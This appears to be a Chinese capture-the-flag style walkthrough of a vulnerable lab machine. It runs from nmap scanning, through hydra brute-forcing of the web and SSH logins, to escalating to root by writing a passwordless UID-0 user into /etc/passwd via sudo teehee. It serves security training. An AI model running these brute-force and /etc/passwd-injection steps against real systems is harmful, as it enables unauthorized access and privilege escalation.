kali🐓:192.168.78.131
靶机:192.168.68.137
信息搜集
查询内网机器网段并扫描存活主机
ifconfig
nmap -sP 192.168.78.0/24
扫描存活主机开放端口:
nmap -p 1-65535 -A -sV 192.168.78.133
发现开放了80端口和SSH端口,后续应该会用到远程登陆
访问80端口,上来就是一个登录窗口,不出意外大概率是工具破解
还是先扫一下目录
没有什么发现
那就直接爆破账户和密码
推荐使用kali自带的字典
hydra -l admin -P rockyou.txt 192.168.25.134 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
这里可以直接爆破出账户和密码
当然也可以使用brup去爆破,爆破途径都差不多,主要是字典
爆破拿到账户:admin 密码:happy
拿到这个第一反应就是登录SHH
密码不正确,不着急,先去登录界面看看有什么
发现一个意思命令执行的地方
修改参数确认是否是命令执行
确认是一个小shell了,接下来应该去查找一些密码信息,保证我们能够ssh登录成功
先检查etc/passwd的权限
以及/etc/shadow的权限
看来通过查询密码或者添加用户的方法不可行
进入/HOME目录看看有没有什么发现
最终在/home/jim/backups目录下发现一个似乎存着密码的bak文件
最终拿到一份储存着账户jim的密码的字典
接下来爆破SSH登录
hydra -l jim -P jim.txt 192.168.78.137 ssh -s 22
拿下密码,登录SSH
ssh jim@192.168.78.137 -p 22
查看一下SUID
find / -perm -u=s -type f 2>/dev/null
发现有个脚本并且我们有增删查改以及可执行权限,那么我们可以在该脚本中回连shell
shell确实是连接上了,但是权限依然是低权
为什么是低权,我们查看一下文件所属者(拥有者)即可
很显然一目了然 是jim,suid本来执行就是以拥有者的身份执行,所以这里连上shell后是Jim也就不奇怪了
重新连接JIM 有了新的发现:
终于给了提示,我们的邮箱,于是在/var/mail中找到charles账户以及密码^xHhA&hvim0y
切换到charles用户,并查看免密的命令,发现teehee
实现teesh提权
teehee: 把输入写入文件中,至于怎么是追加还是覆盖看自己
那这里就可以直接写一个Root账户到passwd里面去
#如:admin:x:0:0::/home/admin:/bin/bash
#[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd(这里就添加了一个无密码登录的test用户 root权限)
最终在root目录下拿到flag
work done!